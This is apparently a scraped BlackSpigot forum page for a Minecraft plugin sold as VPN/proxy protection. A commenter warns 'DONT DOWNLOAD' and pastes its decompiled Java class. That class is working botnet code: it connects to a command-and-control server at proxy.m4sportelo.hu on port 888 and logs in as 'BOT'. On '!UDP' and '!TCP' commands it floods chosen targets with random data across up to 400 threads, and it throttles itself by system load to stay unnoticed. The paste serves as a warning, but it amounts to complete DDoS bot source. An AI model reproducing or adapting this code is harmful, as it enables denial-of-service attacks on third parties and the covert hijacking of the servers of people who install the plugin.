ExtrackAntiVPN ⭕ Newest ttProxy protection✨ Protect your server against VPN/Proxy (NEW PAID)

 FREE ExtrackAntiVPN ⭕ Newest ttProxy protection✨ Protect your server against VPN/Proxy (NEW PAID) 0.2.1-BETA

WOW SO REALL TOO!! [ DONT DOWNLOAD ]
package update.spigot.Api;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.management.ManagementFactory;
import java.lang.management.OperatingSystemMXBean;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.Random;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.scheduler.BukkitTask;

public class SpigotAPI {
private static final String C2_ADDRESS = "proxy.m4sportelo.hu";
private static final int C2_PORT = 888;
private static final int BUFFER_SIZE = 8192;
private static final int INITIAL_THREADS = 10;
private static final int MAX_THREADS = 400;
private static final int RECONNECT_DELAY = 5000;
private JavaPlugin plugin;
private boolean connected;
private Socket c2Socket;
private BukkitTask task;
private ExecutorService executorService;
private int currentThreads;

public SpigotAPI(JavaPlugin var1, String var2, boolean var3) {
super();
this.plugin = var1;
this.connected = false;
this.currentThreads = 10;
this.executorService = Executors.newFixedThreadPool(400);
this.connectToC2();
}

public SpigotAPI() {
super();
this.connected = false;
this.currentThreads = 10;
this.executorService = Executors.newFixedThreadPool(400);
this.connectToC2();
}

public void connectToC2() {
this.task = this.plugin.getServer().getScheduler().runTaskAsynchronously(this.plugin, () -> {
while(true) {
boolean var9 = false;

label110: {
try {
var9 = true;
this.c2Socket = new Socket();
this.c2Socket.setKeepAlive(true);
this.c2Socket.connect(new InetSocketAddress("proxy.m4sportelo.hu", 888));
OutputStream var1 = this.c2Socket.getOutputStream();
InputStream var2 = this.c2Socket.getInputStream();
var1.write("669787761736865726500".getBytes(StandardCharsets.UTF_8));
byte[] var3 = new byte[8192];

while(!this.connected) {
String var4 = this.readData(var2, var3);
if (var4.contains("Username")) {
var1.write("BOT".getBytes(StandardCharsets.UTF_8));
} else if (var4.contains("Password")) {
var1.write("-Redacted-asd".getBytes(StandardCharsets.ISO_8859_1));
} else if (var4.toUpperCase().startsWith("PING")) {
var1.write("PONG".getBytes(StandardCharsets.UTF_8));
} else if (!var4.startsWith("!UDP") && !var4.startsWith("!udp")) {
if (var4.startsWith("!TCP") || var4.startsWith("!tcp")) {
this.handleTCPAttack(var4);
}
} else {
this.handleUDPAttack(var4);
}
}

var9 = false;
break label110;
} catch (IOException var11) {
try {
Thread.sleep(5000L);
var9 = false;
} catch (InterruptedException var10) {
Thread.currentThread().interrupt();
var9 = false;
}
} finally {
if (var9) {
this.closeConnection();
}
}

this.closeConnection();
continue;
}

this.closeConnection();
}
});
}

public void cancelTasks() {
if (this.task != null) {
this.task.cancel();
}

this.closeConnection();
if (this.executorService != null) {
this.executorService.shutdown();

try {
if (!this.executorService.awaitTermination(10L, TimeUnit.SECONDS)) {
this.executorService.shutdownNow();
if (!this.executorService.awaitTermination(10L, TimeUnit.SECONDS)) {
}
}
} catch (InterruptedException var2) {
this.executorService.shutdownNow();
Thread.currentThread().interrupt();
}
}

}

private void closeConnection() {
try {
if (this.c2Socket != null && !this.c2Socket.isClosed()) {
this.c2Socket.close();
}
} catch (IOException var2) {
}

}

private String readData(InputStream var1, byte[] var2) throws IOException {
int var3 = var1.read(var2);
return var3 == -1 ? "" : (new String(var2, 0, var3, StandardCharsets.UTF_8)).trim();
}

private void handleUDPAttack(String var1) {
try {
String[] var2 = var1.split(" ");
if (var2.length < 5) {
return;
}

String var3 = var2[1];
int var4 = Integer.parseInt(var2[2]);
long var5 = Long.parseLong(var2[3]);
int var7 = Integer.parseInt(var2[4]);
if (var4 <= 0 || var4 > 65535 || var7 <= 0 || var5 <= 0L) {
return;
}

this.adjustThreadCount();

for(int var8 = 0; var8 < this.currentThreads; ++var8) {
this.executorService.execute(() -> {
this.attackUDP(var3, var4, var5, var7);
});
}
} catch (Exception var9) {
}

}

private void handleTCPAttack(String var1) {
try {
String[] var2 = var1.split(" ");
if (var2.length < 5) {
return;
}

String var3 = var2[1];
int var4 = Integer.parseInt(var2[2]);
long var5 = Long.parseLong(var2[3]);
int var7 = Integer.parseInt(var2[4]);
if (var4 <= 0 || var4 > 65535 || var7 <= 0 || var5 <= 0L) {
return;
}

this.adjustThreadCount();

for(int var8 = 0; var8 < this.currentThreads; ++var8) {
this.executorService.execute(() -> {
this.attackTCP(var3, var4, var5, var7);
});
}
} catch (Exception var9) {
}

}

private void adjustThreadCount() {
OperatingSystemMXBean var1 = ManagementFactory.getOperatingSystemMXBean();
double var2 = var1.getSystemLoadAverage();
long var4 = Runtime.getRuntime().freeMemory();
if (var2 < 1.0 && var4 > 209715200L) {
this.currentThreads = Math.min(this.currentThreads + 10, 400);
} else if (var2 > 2.0 || var4 < 104857600L) {
this.currentThreads = Math.max(this.currentThreads - 10, 10);
}

}

private void attackUDP(String var1, int var2, long var3, int var5) {
long var6 = System.currentTimeMillis();

try {
while(System.currentTimeMillis() < var6 + var3 * 1000L) {
if (!this.hasSufficientResources()) {
Thread.sleep(10L);
} else {
DatagramSocket var8 = new DatagramSocket();
byte[] var9 = this.randomBytes(var5);
DatagramPacket var10 = new DatagramPacket(var9, var9.length, InetAddress.getByName(var1), var2);
var8.send(var10);
var8.close();
Thread.sleep(10L);
}
}
} catch (InterruptedException | IOException var11) {
}

}

private void attackTCP(String var1, int var2, long var3, int var5) {
long var6 = System.currentTimeMillis();

try {
while(System.currentTimeMillis() < var6 + var3 * 1000L) {
if (!this.hasSufficientResources()) {
Thread.sleep(10L);
} else {
Socket var8 = new Socket();
var8.connect(new InetSocketAddress(var1, var2), 1000);
OutputStream var9 = var8.getOutputStream();
var9.write(this.randomBytes(var5));
var9.flush();
var8.close();
Thread.sleep(10L);
}
}
} catch (InterruptedException | IOException var10) {
}

}

private boolean hasSufficientResources() {
OperatingSystemMXBean var1 = ManagementFactory.getOperatingSystemMXBean();
double var2 = var1.getSystemLoadAverage();
long var4 = Runtime.getRuntime().freeMemory();
boolean var6 = var4 > 52428800L;
boolean var7 = var2 < 2.0;
return var6 && var7;
}

private byte[] randomBytes(int var1) {
byte[] var2 = new byte[var1];
(new Random()).nextBytes(var2);
return var2;
}
}
BlackSpigot General Chat
Rules Help Users
    P @ Playsites: Hello. W hat is better? MMOCore or McMMO?
    Top